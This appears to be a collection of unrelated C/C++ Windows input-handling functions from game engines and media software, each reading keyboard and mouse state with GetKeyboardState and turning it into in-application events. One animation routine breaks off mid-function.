tCHAR F_API INPKBGetAscii(u8 kCode) { tCHAR retvalue = L''; char asciichar[256]; memset(asciichar,0, sizeof(char)*256); HKL layout = GetKeyboardLayout(0); u8 State[256]; u32 scancode; memset(State, 0, sizeof (u8) * 256); u32 vk = MapVirtualKeyEx(kCode,1,layout); bool returnvaluegetkeyb = GetKeyboardState(State); //This function returns crap if we are in exclusive mode //CODE TO CHECK OS VERSION, //ToUnicodeEx doesn't work in win98,me OSVERSIONINFO osvi; ZeroMemory(&osvi, sizeof(OSVERSIONINFO)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx((OSVERSIONINFO*)&osvi); //Should move this function to initialization //VER_PLATFORM_WIN32_NT //WinNT4 to Win2003 //VER_PLATFORM_WIN32_WINDOWS //Windows 95, Windows 98, or Windows Me. if ( osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) //Crappy Versions of Windows Without Unicode { int returnvalascii = ToAsciiEx(vk, kCode, State, (unsigned short *)asciichar, 0, layout); if(returnvalascii > 0) { int retrunvaluembtowcs = mbstowcs(&retvalue, asciichar, 1); if(retrunvaluembtowcs == -1) //some error retvalue = L''; } else retvalue = L''; } else //Good versions of widnows with Unicode { s32 retvalunicode = ToUnicodeEx(vk, kCode, State, &retvalue, 1, 0, layout); if(retvalunicode <= 0) // -1 or 0 mean error or no character was translated retvalue = L''; } /* HKL layout = GetKeyboardLayout(0); unsigned char State[256]; if (GetKeyboardState(State)==FALSE) return 0; unsigned int vk = MapVirtualKeyEx(scancode,1,layout); return ToAsciiEx(vk,scancode,State,(unsigned short *)result,0,layout); */ /* BOOL bIsWindowsVersionOK(DWORD dwMajor, DWORD dwMinor, DWORD dwSPMajor ) { OSVERSIONINFO osvi; // Initialize the OSVERSIONINFO structure. // ZeroMemory(&osvi, sizeof(OSVERSIONINFO)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx((OSVERSIONINFO*)&osvi); // First the major version if ( osvi.dwMajorVersion > dwMajor ) return TRUE; else if ( osvi.dwMajorVersion == dwMajor ) { // Then the minor if (osvi.dwMinorVersion > dwMinor ) return TRUE; else if (osvi.dwMinorVersion == dwMinor ) { // OK, better check the Service Pack if ( dwSPMajor && osvi.dwPlatformId == VER_PLATFORM_WIN32_NT ) { HKEY hKey; DWORD dwCSDVersion; DWORD dwSize; BOOL fMeetsSPRequirement = FALSE; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, System\\CurrentControlSet\\Control\\Windows", 0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS) { dwSize = sizeof(dwCSDVersion); if (RegQueryValueEx(hKey, "CSDVersion", NULL, NULL, (unsigned char*)&dwCSDVersion, &dwSize) == ERROR_SUCCESS) { fMeetsSPRequirement = (LOWORD(dwCSDVersion) >= dwSPMajor); } RegCloseKey(hKey); } return fMeetsSPRequirement; } return TRUE; } } return FALSE; } */ return retvalue; }
LRESULT Win32MessageProc::WndProc(HWND hWnd,UINT msg,WPARAM wParam,LPARAM lParam) { #ifndef WM_MOUSEWHEEL #define WM_MOUSEWHEEL 0x020A #endif #ifndef WHEEL_DELTA #define WHEEL_DELTA 120 #endif if(msg==WM_CREATE) { SetWindowLongPtr(hWnd,GWLP_USERDATA, (LONG)(((LPCREATESTRUCT)lParam)->lpCreateParams)); return 0; } video::RenderWindow* wnd= (video::RenderWindow*)GetWindowLongPtr(hWnd, GWLP_USERDATA); if (!wnd) return DefWindowProc(hWnd, msg, wParam, lParam); bool g_disableWindowsMouseCallback=false; bool g_disableWindowsKBCallback=false; InputManager* inMngr= wnd->GetInputManager(); if(inMngr ) { if(inMngr->getMouse()) g_disableWindowsMouseCallback=true; if(inMngr->getKeyboard()) g_disableWindowsKBCallback=true; } video::RenderWindowUtils::RenderWindowListenerMap &listeners=video::RenderWindowUtils::GetListners(); video::RenderWindowUtils::RenderWindowListenerMap::iterator index, start = listeners.lower_bound(wnd), end = listeners.upper_bound(wnd); /*if(InputManager::isExist()){ g_disableWindowsKBCallback=InputManager::getInstance().usingInputManagment(); g_disableWindowsMouseCallback=InputManager::getInstance().usingInputManagment(); }*/ POINT p; BYTE keys[256]; switch(msg) { case WM_PAINT: { PAINTSTRUCT ps; BeginPaint(hWnd,&ps); EndPaint(hWnd,&ps); }break; case WM_ACTIVATE: { bool active = (LOWORD(wParam) != WA_INACTIVE); if( active ) { wnd->SetActive( true ); } else { if( wnd->IsDeactivateOnFocusChange() ) { wnd->SetActive( false ); } } for( ; start != end; ++start ) (start->second)->WindowFocusChanged(wnd); if(EventMemoryManager::isExist()){ GCPtr<SystemEvent>e=EventMemoryManager::getInstance().createEvent(ET_SystemEvent); if(!HIWORD(wParam)) e->m_eventType=ESET_GotActive; else e->m_eventType=ESET_LostActive; e->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(e); } } break; case WM_SETFOCUS: { if(EventMemoryManager::isExist()){ GCPtr<SystemEvent>e=EventMemoryManager::getInstance().createEvent(ET_SystemEvent); e->m_eventType=ESET_GotFocus; e->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(e); } } break; case WM_KILLFOCUS: { if(EventMemoryManager::isExist()){ GCPtr<SystemEvent>e=EventMemoryManager::getInstance().createEvent(ET_SystemEvent); e->m_eventType=ESET_LostFocus; e->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(e); } } break; case WM_MOVE: { wnd->OnMoveResize(); for(index = start; index != end; ++index) (index->second)->WindowMoved(wnd); } break; case WM_DISPLAYCHANGE: { wnd->OnMoveResize(); for(index = start; index != end; ++index) (index->second)->WindowResized(wnd); }break; case WM_SIZE: { wnd->OnMoveResize(); for(index = start; index != end; ++index) (index->second)->WindowResized(wnd); if(EventMemoryManager::isExist()){ { GCPtr<ResizeEvent>e=EventMemoryManager::getInstance().createEvent(ET_ResizeEvent); RECT rc; GetClientRect(hWnd,&rc); //GetWindowRect(hWnd,&rc); e->width=rc.right-rc.left;//-Border.x; e->height=rc.bottom-rc.top;//-Border.y; e->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(e); } { GCPtr<SystemEvent>e=EventMemoryManager::getInstance().createEvent(ET_SystemEvent); e->m_eventType=ESET_Resized; e->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(e); } } } break; case WM_GETMINMAXINFO: // Prevent the window from going smaller than some minimu size ((MINMAXINFO*)lParam)->ptMinTrackSize.x = 100; ((MINMAXINFO*)lParam)->ptMinTrackSize.y = 100; break; case WM_CLOSE: { //log->logMessage("WM_CLOSE"); bool close = true; for(index = start; index != end; ++index) { if (!(index->second)->WindowClosing(wnd)) close = false; } if (!close) return 0; for(index = listeners.lower_bound(wnd); index != end; ++index) (index->second)->WindowClosed(wnd); wnd->Destroy(); return 0; } case WM_DESTROY: { if(EventMemoryManager::isExist()){ GCPtr<SystemEvent>e=EventMemoryManager::getInstance().createEvent(ET_SystemEvent); e->m_eventType=ESET_Destroy; e->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(e); } } return 0; case WM_SYSCOMMAND: if(wParam==SC_SCREENSAVE || wParam==SC_MONITORPOWER) return 0; break; /*case WM_SETCURSOR: if(!dev->getCursorControl()->isVisible()) SetCursor(0); else dev->getCursorControl()->restoreCursor(); return 0;*/ case WM_MOUSEMOVE: { if(g_disableWindowsMouseCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<MouseEvent>e=EventMemoryManager::getInstance().createEvent(ET_Mouse); e->event=MET_MOVED; e->SetOwnerRenderWindow(wnd); e->pos.set(LOWORD(lParam),HIWORD(lParam)); e->MouseWheel=0; if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(e); } return 0; case WM_MOUSEWHEEL: { if(g_disableWindowsMouseCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse); event->event=MET_WHEEL; event->MouseWheel=(float)((short)HIWORD(wParam))/(float)WHEEL_DELTA; event->SetOwnerRenderWindow(wnd); p.x=LOWORD(lParam); p.y=HIWORD(lParam); ScreenToClient(hWnd,&p); event->pos.set(p.x,p.y); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case WM_LBUTTONDOWN: { if(g_disableWindowsMouseCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse); event->event=MET_LEFTDOWN; event->SetOwnerRenderWindow(wnd); event->pos.set(LOWORD(lParam),HIWORD(lParam)); event->MouseWheel=0; if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case WM_LBUTTONUP: { if(g_disableWindowsMouseCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse); event->event=MET_LEFTUP; event->SetOwnerRenderWindow(wnd); event->pos.set(LOWORD(lParam),HIWORD(lParam)); event->MouseWheel=0; if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case WM_LBUTTONDBLCLK: { if(g_disableWindowsMouseCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse); event->event=MET_LEFTDblClick; event->SetOwnerRenderWindow(wnd); event->pos.set(LOWORD(lParam),HIWORD(lParam)); event->MouseWheel=0; if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case WM_RBUTTONDOWN: { if(g_disableWindowsMouseCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse); event->event=MET_RIGHTDOWN; event->SetOwnerRenderWindow(wnd); event->pos.set(LOWORD(lParam),HIWORD(lParam)); event->MouseWheel=0; if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case WM_RBUTTONUP: { if(g_disableWindowsMouseCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse); event->event=MET_RIGHTUP; event->SetOwnerRenderWindow(wnd); event->pos.set(LOWORD(lParam),HIWORD(lParam)); event->MouseWheel=0; if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case WM_RBUTTONDBLCLK: { if(g_disableWindowsMouseCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse); event->event=MET_RIGHTDblClick; event->SetOwnerRenderWindow(wnd); event->pos.set(LOWORD(lParam),HIWORD(lParam)); event->MouseWheel=0; if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case WM_MBUTTONDOWN: { if(g_disableWindowsMouseCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse); event->event=MET_MIDDLEDOWN; event->SetOwnerRenderWindow(wnd); event->pos.set(LOWORD(lParam),HIWORD(lParam)); event->MouseWheel=0; if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case WM_MBUTTONUP: { if(g_disableWindowsMouseCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse); event->event=MET_MIDDLEUP; event->SetOwnerRenderWindow(wnd); event->pos.set(LOWORD(lParam),HIWORD(lParam)); event->MouseWheel=0; if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case WM_MBUTTONDBLCLK: { if(g_disableWindowsMouseCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse); event->event=MET_MIDDLEDblClick; event->SetOwnerRenderWindow(wnd); event->pos.set(LOWORD(lParam),HIWORD(lParam)); event->MouseWheel=0; if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case WM_SYSKEYDOWN: switch( wParam ) { case VK_CONTROL: { if(g_disableWindowsKBCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard); GetKeyboardState(keys); #ifdef UNICODE mchar keyCode=0; ToUnicode(wParam,lParam,keys,&keyCode,0,0); #else WORD keyCode=0; ToAscii(wParam,lParam,keys,&keyCode,0); #endif event->Char=keyCode; event->key=(EKEY_CODE)KEY_LCONTROL; event->shift=((keys[VK_SHIFT] & 0x80)!=0); event->ctrl=1; event->alt=((keys[VK_MENU] & 0x80)!=0); event->press=1; event->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case VK_SHIFT: { if(g_disableWindowsKBCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard); mchar keyUni=0; GetKeyboardState(keys); #ifdef UNICODE mchar keyCode=0; ToUnicode(wParam,lParam,keys,&keyCode,0,0); #else WORD keyCode=0; ToAscii(wParam,lParam,keys,&keyCode,0); #endif event->Char=keyCode; event->key=(EKEY_CODE)KEY_LSHIFT; event->shift=1; event->ctrl=((keys[VK_CONTROL] & 0x80)!=0); event->alt=((keys[VK_MENU] & 0x80)!=0); event->press=1; event->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case VK_MENU: { if(g_disableWindowsKBCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard); mchar keyUni=0; GetKeyboardState(keys); #ifdef UNICODE mchar keyCode=0; ToUnicode(wParam,lParam,keys,&keyCode,0,0); #else WORD keyCode=0; ToAscii(wParam,lParam,keys,&keyCode,0); #endif event->Char=keyCode; event->key=(EKEY_CODE)KEY_LMENU; event->shift=((keys[VK_SHIFT] & 0x80)!=0); event->ctrl=((keys[VK_CONTROL] & 0x80)!=0); event->alt=1; event->press=1; event->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; } break; case WM_SYSKEYUP: switch( wParam ) { case VK_CONTROL: { if(g_disableWindowsKBCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard); mchar keyUni=0; GetKeyboardState(keys); #ifdef UNICODE mchar keyCode=0; ToUnicode(wParam,lParam,keys,&keyCode,0,0); #else WORD keyCode=0; ToAscii(wParam,lParam,keys,&keyCode,0); #endif event->Char=keyCode; event->key=(EKEY_CODE)KEY_LCONTROL; event->shift=((keys[VK_SHIFT] & 0x80)!=0); event->ctrl=0; event->alt=((keys[VK_CONTROL] & 0x80)!=0); event->press=0; event->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case VK_SHIFT: { if(g_disableWindowsKBCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard); mchar keyUni=0; GetKeyboardState(keys); #ifdef UNICODE mchar keyCode=0; ToUnicode(wParam,lParam,keys,&keyCode,0,0); #else WORD keyCode=0; ToAscii(wParam,lParam,keys,&keyCode,0); #endif event->Char=keyCode; event->key=(EKEY_CODE)KEY_LSHIFT; event->shift=0; event->ctrl=((keys[VK_CONTROL] & 0x80)!=0); event->alt=((keys[VK_CONTROL] & 0x80)!=0); event->press=0; event->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; case VK_MENU: { if(g_disableWindowsKBCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard); mchar keyUni=0; GetKeyboardState(keys); #ifdef UNICODE mchar keyCode=0; ToUnicode(wParam,lParam,keys,&keyCode,0,0); #else WORD keyCode=0; ToAscii(wParam,lParam,keys,&keyCode,0); #endif event->Char=keyCode; event->key=(EKEY_CODE)KEY_LMENU; event->shift=((keys[VK_SHIFT] & 0x80)!=0); event->ctrl=((keys[VK_CONTROL] & 0x80)!=0); event->alt=0; event->press=0; event->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); } return 0; } break; case WM_KEYDOWN: { if(g_disableWindowsKBCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard); #ifdef UNICODE mchar buff[10]; mchar keyCode=0; ToUnicode(wParam,lParam,keys,buff,10,0); #else WORD keyCode=0; ToAscii(wParam,lParam,keys,&keyCode,0); #endif event->Char=keyCode; event->key=(EKEY_CODE)wParam; event->shift=((keys[VK_SHIFT] & 0x80)!=0); event->ctrl=((keys[VK_CONTROL] & 0x80)!=0); event->alt=((keys[VK_MENU] & 0x80)!=0); event->press=1; event->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); return 0; } case WM_KEYUP: { if(g_disableWindowsKBCallback)return 0; if(!EventMemoryManager::isExist())break; GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard); mchar keyUni=0; GetKeyboardState(keys); #ifdef UNICODE mchar keyCode=0; ToUnicode(wParam,lParam,keys,&keyCode,0,0); #else WORD keyCode=0; ToAscii(wParam,lParam,keys,&keyCode,0); #endif event->key=(EKEY_CODE)wParam; event->Char=keyCode; event->shift=((keys[VK_SHIFT] & 0x80)!=0); event->ctrl=((keys[VK_CONTROL] & 0x80)!=0); event->press=0; event->SetOwnerRenderWindow(wnd); if(EventQueue::isExist()) EventQueue::getInstance().pushEvent(event); return 0; } }; return DefWindowProc(hWnd,msg,wParam,lParam); }
static XBMC_keysym *TranslateKey(WPARAM vkey, UINT scancode, XBMC_keysym *keysym, int pressed) { uint16_t mod; uint8_t keystate[256]; /* Set the keysym information */ keysym->scancode = (unsigned char) scancode; keysym->unicode = 0; if ((vkey == VK_RETURN) && (scancode & 0x100)) { /* No VK_ code for the keypad enter key */ keysym->sym = XBMCK_KP_ENTER; } else { keysym->sym = VK_keymap[XBMC_MapVirtualKey(scancode, vkey)]; } // Attempt to convert the keypress to a UNICODE character GetKeyboardState(keystate); if ( pressed && XBMC_TranslateUNICODE ) { uint16_t wchars[2]; /* Numlock isn't taken into account in ToUnicode, * so we handle it as a special case here */ if ((keystate[VK_NUMLOCK] & 1) && vkey >= VK_NUMPAD0 && vkey <= VK_NUMPAD9) { keysym->unicode = vkey - VK_NUMPAD0 + '0'; } else if (ToUnicode((UINT)vkey, scancode, keystate, (LPWSTR)wchars, sizeof(wchars)/sizeof(wchars[0]), 0) > 0) { keysym->unicode = wchars[0]; } } // Set the modifier bitmap mod = (uint16_t) XBMCKMOD_NONE; // If left control and right alt are down this usually means that // AltGr is down if ((keystate[VK_LCONTROL] & 0x80) && (keystate[VK_RMENU] & 0x80)) { mod |= XBMCKMOD_MODE; } else { if (keystate[VK_LCONTROL] & 0x80) mod |= XBMCKMOD_LCTRL; if (keystate[VK_RMENU] & 0x80) mod |= XBMCKMOD_RALT; } // Check the remaining modifiers if (keystate[VK_LSHIFT] & 0x80) mod |= XBMCKMOD_LSHIFT; if (keystate[VK_RSHIFT] & 0x80) mod |= XBMCKMOD_RSHIFT; if (keystate[VK_RCONTROL] & 0x80) mod |= XBMCKMOD_RCTRL; if (keystate[VK_LMENU] & 0x80) mod |= XBMCKMOD_LALT; if (keystate[VK_LWIN] & 0x80) mod |= XBMCKMOD_LSUPER; if (keystate[VK_RWIN] & 0x80) mod |= XBMCKMOD_LSUPER; keysym->mod = (XBMCMod) mod; // Return the updated keysym return(keysym); }
VOID IK3_AnimRender( VOID ) { int i; POINT pt; LARGE_INTEGER t; IK3_FrameCounter++; QueryPerformanceCounter(&t); IK3_Anim.GlobalTime =(DBL)(t.QuadPart - IK3_StartTime) / IK3_TimePerSec; IK3_Anim.GlobalDeltaTime =(DBL)(t.QuadPart - IK3_OldTime) / IK3_TimePerSec; if (IK3_Anim.IsPause) { IK3_Anim.DeltaTime = 0; IK3_PauseTime += t.QuadPart - IK3_OldTime; } else { IK3_Anim.DeltaTime = IK3_Anim.GlobalDeltaTime; IK3_Anim.Time = (DBL)(t.QuadPart - IK3_PauseTime - IK3_OldTime) / IK3_TimePerSec; } if (t.QuadPart - IK3_OldTimeFPS > IK3_TimePerSec); { CHAR str[100]; IK3_Anim.FPS = IK3_FrameCounter * IK3_TimePerSec / (DBL)(t.QuadPart - IK3_OldTimeFPS); IK3_OldTimeFPS = t.QuadPart; sprintf(str, "FPS: %.5f", IK3_Anim.FPS); SetWindowText(IK3_Anim.hWnd, str); IK3_FrameCounter = 0; } GetKeyboardState(IK3_Anim.Keys); for (i = 0; i < 256; i++) { IK3_Anim.Keys[i] >>= 7; if (!IK3_Anim.OldKeys[i] && IK3_Anim.Keys[i]) IK3_Anim.KeysClick[i] = TRUE; else IK3_Anim.KeysClick[i] = FALSE; } memcpy(IK3_Anim.OldKeys, IK3_Anim.Keys, 256); GetCursorPos(&pt); ScreenToClient(IK3_Anim.hWnd, &pt); IK3_Anim.Mdx = pt.x - IK3_Anim.Mx; IK3_Anim.Mdy = pt.y - IK3_Anim.My; IK3_Anim.Mdx = pt.x; IK3_Anim.Mdy = pt.y; /* Joystick */ if (joyGetNumDevs() > 0) { JOYCAPS jc; /* Get joystick info */ if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR) { JOYINFOEX ji; ji.dwSize = sizeof(JOYINFOEX); ji.dwFlags = JOY_RETURNALL; if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR) { /* Buttons */ for (i = 0; i < 32; i++) IK3_Anim.JBut[i] = (ji.dwButtons >> i) & 1; /* Axes */ IK3_Anim.JX = IK3_GET_JOYSTIC_AXIS(X); IK3_Anim.JY = IK3_GET_JOYSTIC_AXIS(Y); IK3_Anim.JZ = IK3_GET_JOYSTIC_AXIS(Z); IK3_Anim.JR = IK3_GET_JOYSTIC_AXIS(R); /* Point of view */ IK3_Anim.JPov = ji.dwPOV == 0xFFFF ? 0 : ji.dwPOV / 4500 + 1; } }
void DirectX3DInput:: dispatchMessage(HWND window, MSG message) { KeyInput keyInput; MouseInput mouseInput; WPARAM wParam = message.wParam; LPARAM lParam = message.lParam; switch (message.message) { case WM_SYSKEYDOWN: case WM_KEYDOWN: { unsigned char kbstate[256]; GetKeyboardState(kbstate); keyInput.setKey(Key(convertKeyCharacter(wParam, lParam, kbstate))); keyInput.setType(KeyInput::Pressed); keyInput.setShiftPressed(kbstate[VK_SHIFT] & 0x80); keyInput.setControlPressed(kbstate[VK_CONTROL] & 0x80); keyInput.setAltPressed(kbstate[VK_MENU] & 0x80); keyInput.setNumericPad(wParam >= VK_NUMPAD0 && wParam <= VK_DIVIDE); mKeyInputQueue.push(keyInput); } break; case WM_SYSKEYUP: case WM_KEYUP: { unsigned char kbstate[256]; GetKeyboardState(kbstate); keyInput.setKey(Key(convertKeyCharacter(wParam, lParam, kbstate))); keyInput.setType(KeyInput::Released); keyInput.setShiftPressed(kbstate[VK_SHIFT] & 0x80); keyInput.setControlPressed(kbstate[VK_CONTROL] & 0x80); keyInput.setAltPressed(kbstate[VK_MENU] & 0x80); keyInput.setNumericPad(wParam >= VK_NUMPAD0 && wParam <= VK_DIVIDE); mKeyInputQueue.push(keyInput); } break; case WM_LBUTTONDOWN: { int x = (int)((signed short)(LOWORD(lParam))); int y = (int)((signed short)(HIWORD(lParam))); mouseInput.setX(x); mouseInput.setY(y); mouseInput.setButton(MouseInput::Left); mouseInput.setType(MouseInput::Pressed); mouseInput.setTimeStamp(GetTickCount()); mMouseInputQueue.push(mouseInput); mMouseDown = true; SetCapture(window); break; } case WM_MBUTTONDOWN: { int x = (int)((signed short)(LOWORD(lParam))); int y = (int)((signed short)(HIWORD(lParam))); mouseInput.setX(x); mouseInput.setY(y); mouseInput.setButton(MouseInput::Middle); mouseInput.setType(MouseInput::Pressed); mouseInput.setTimeStamp(GetTickCount()); mMouseInputQueue.push(mouseInput); mMouseDown = true; SetCapture(window); break; } case WM_RBUTTONDOWN: { int x = (int)((signed short)(LOWORD(lParam))); int y = (int)((signed short)(HIWORD(lParam))); mouseInput.setX(x); mouseInput.setY(y); mouseInput.setButton(MouseInput::Right); mouseInput.setType(MouseInput::Pressed); mouseInput.setTimeStamp(GetTickCount()); mMouseInputQueue.push(mouseInput); mMouseDown = true; SetCapture(window); break; } case WM_LBUTTONUP: { int x = (int)((signed short)(LOWORD(lParam))); int y = (int)((signed short)(HIWORD(lParam))); mouseInput.setX(x); mouseInput.setY(y); mouseInput.setButton(MouseInput::Left); mouseInput.setType(MouseInput::Released); mouseInput.setTimeStamp(GetTickCount()); mMouseInputQueue.push(mouseInput); mMouseDown = false; ReleaseCapture(); break; } case WM_MBUTTONUP: { int x = (int)((signed short)(LOWORD(lParam))); int y = (int)((signed short)(HIWORD(lParam))); mouseInput.setX(x); mouseInput.setY(y); mouseInput.setButton(MouseInput::Middle); mouseInput.setType(MouseInput::Released); mouseInput.setTimeStamp(GetTickCount()); mMouseInputQueue.push(mouseInput); mMouseDown = false; ReleaseCapture(); break; } case WM_RBUTTONUP: { int x = (int)((signed short)(LOWORD(lParam))); int y = (int)((signed short)(HIWORD(lParam))); mouseInput.setX(x); mouseInput.setY(y); mouseInput.setButton(MouseInput::Right); mouseInput.setType(MouseInput::Released); mouseInput.setTimeStamp(GetTickCount()); mMouseInputQueue.push(mouseInput); mMouseDown = false; ReleaseCapture(); break; } case WM_MOUSEMOVE: { int x = (int)((signed short)(LOWORD(lParam))); int y = (int)((signed short)(HIWORD(lParam))); /* POINT point = {x,y}; ScreenToClient(hWnd, &point); RECT rect; GetClientRect(hWnd, &rect);*/ /* if (!mMouseDown && mMouseInWindow && (point.x < 0 || point.y < 0 || point.x > rect.right || point.y > rect.bottom)) { mouseInput.setX(-1); mouseInput.setY(-1); mouseInput.setButton(MouseInput::Empty); mouseInput.setType(MouseInput::Moved); mouseInput.setTimeStamp(GetTickCount()); mMouseInputQueue.push(mouseInput); mMouseInWindow = false; } else if (mMouseDown || (point.x >= 0 && point.y >= 0 && point.x < rect.right && point.y < rect.bottom)) { mouseInput.setX(point.x); mouseInput.setY(point.y); mouseInput.setButton(MouseInput::Empty); mouseInput.setType(MouseInput::Moved); mouseInput.setTimeStamp(GetTickCount()); mMouseInputQueue.push(mouseInput); } mMouseInWindow = point.x >= 0 && point.y >= 0 && point.x < rect.right && point.y < rect.bottom; */ mouseInput.setX(x); mouseInput.setY(y); mouseInput.setButton(MouseInput::Empty); mouseInput.setType(MouseInput::Moved); mouseInput.setTimeStamp(GetTickCount()); mMouseInputQueue.push(mouseInput); break; } // For some reason WM_MOUSEWHEEL isn't defined at some systems // (including mine), but 0x020A should be equal to the WM_MOUSEWHEEL // value. case 0x020A: // WM_MOUSEWHEEL int mouseZ = (short)HIWORD(wParam); int x = (int)((signed short)(LOWORD(lParam))); int y = (int)((signed short)(HIWORD(lParam))); POINT point = {x,y}; ScreenToClient(window, &point); RECT rect; GetClientRect(window, &rect); if (point.x < 0 || point.y < 0 || point.x > rect.right || point.y > rect.bottom) { break; } // Mouse wheels doesn't have to move 120 units anymore, new // mouses can move less than 120, therefore we need to check // that the mouse has at least moved 120 units before we push // an input event. if (mLastMouseZ + mouseZ >= 120) { mMouseInputQueue.push(MouseInput(MouseInput::Empty, MouseInput::WheelMovedUp, point.x, point.y, GetTickCount())); mLastMouseZ = 0; } else if (mLastMouseZ + mouseZ <= -120) { mMouseInputQueue.push(MouseInput(MouseInput::Empty, MouseInput::WheelMovedDown, point.x, point.y, GetTickCount())); mLastMouseZ = 0; } else { mLastMouseZ += mouseZ; } break; } // end switch }
/* key_dinput_acquire: [window thread] * Acquires the keyboard device. This must be called after a * window switch for example if the device is in foreground * cooperative level. */ int key_dinput_acquire(void) { HRESULT hr; int mask, state; char key_state[256]; if (key_dinput_device) { mask = KB_SCROLOCK_FLAG | KB_NUMLOCK_FLAG | KB_CAPSLOCK_FLAG; state = 0; /* Read the current Windows keyboard state */ GetKeyboardState(key_state); if (key_state[VK_SCROLL] & 1) state |= KB_SCROLOCK_FLAG; if (key_state[VK_NUMLOCK] & 1) state |= KB_NUMLOCK_FLAG; if (key_state[VK_CAPITAL] & 1) state |= KB_CAPSLOCK_FLAG; _key_shifts = (_key_shifts & ~mask) | (state & mask); hr = IDirectInputDevice_Acquire(key_dinput_device); if (FAILED(hr)) { _TRACE(PREFIX_E "acquire keyboard failed: %s\n", dinput_err_str(hr)); return -1; } /* Initialize keyboard state */ SetEvent(key_input_event); return 0; } else return -1; }